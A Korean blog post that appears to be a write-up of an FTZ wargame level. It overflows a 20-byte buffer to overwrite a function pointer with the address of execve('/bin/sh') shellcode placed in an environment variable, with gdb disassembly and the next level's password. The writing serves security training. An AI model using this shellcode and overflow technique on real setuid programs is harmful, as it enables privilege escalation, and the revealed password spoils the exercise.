티스토리 뷰
pw is king poetic
이번엔 .c 파일은 없고 다른 문제들과 동일하게 attackme 파일만 있다.
힌트는 다음과 같다.
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
main 안에 setreuid가 있는걸 보니 왠지 환경변수를 사용해야할 것 같다.
일단
export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
로 SHELLCODE 환경변수를 추가해주고
계속 사용해 온 getit 파일을 실행시켜 환경변수의 주소를 알아냈다.
0xbffffc1e
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56]
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
0x080484e9 <main+65>: nop
0x080484ea <main+66>: nop
0x080484eb <main+67>: nop
0x080484ec <main+68>: nop
0x080484ed <main+69>: nop
0x080484ee <main+70>: nop
0x080484ef <main+71>: nop
End of assembler dump.
A가 38개보다 많으면 Segmentation fault가 뜬다.
그래서 buf와 dummy부분을 A 40개로 채워주고 call 함수가 실행되는 부분에
SHELLCODE 환경변수의 주소 0xbffffc1e 를 넣어주었다.
Level18 Password is "why did you do it".
'System > FTZ' 카테고리의 다른 글
[FTZ] level19 (0) | 2017.10.10 |
---|---|
[FTZ] level18 (0) | 2017.09.28 |
[FTZ] level16 (0) | 2017.09.28 |
[FTZ] level15 (0) | 2017.09.27 |
[FTZ] level14 (0) | 2017.09.25 |
- Total
- Today
- Yesterday
- c언어
- my-pass
- ubuntu
- wargame
- java
- 명령어
- Los
- 자바
- BOF
- 웹해킹
- attackme
- WebHacking
- ftz
- pwnable
- 우분투
- 0xdeadbeef
- pwnable.kr
- 파이썬
- Lord of SQL Injection
- lob
- lord of sqlinjection
- 설치
- wargame.kr
- cobolt
- webhacking.kr
- Python
- 1번
- MySQL
- C
- 워게임
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |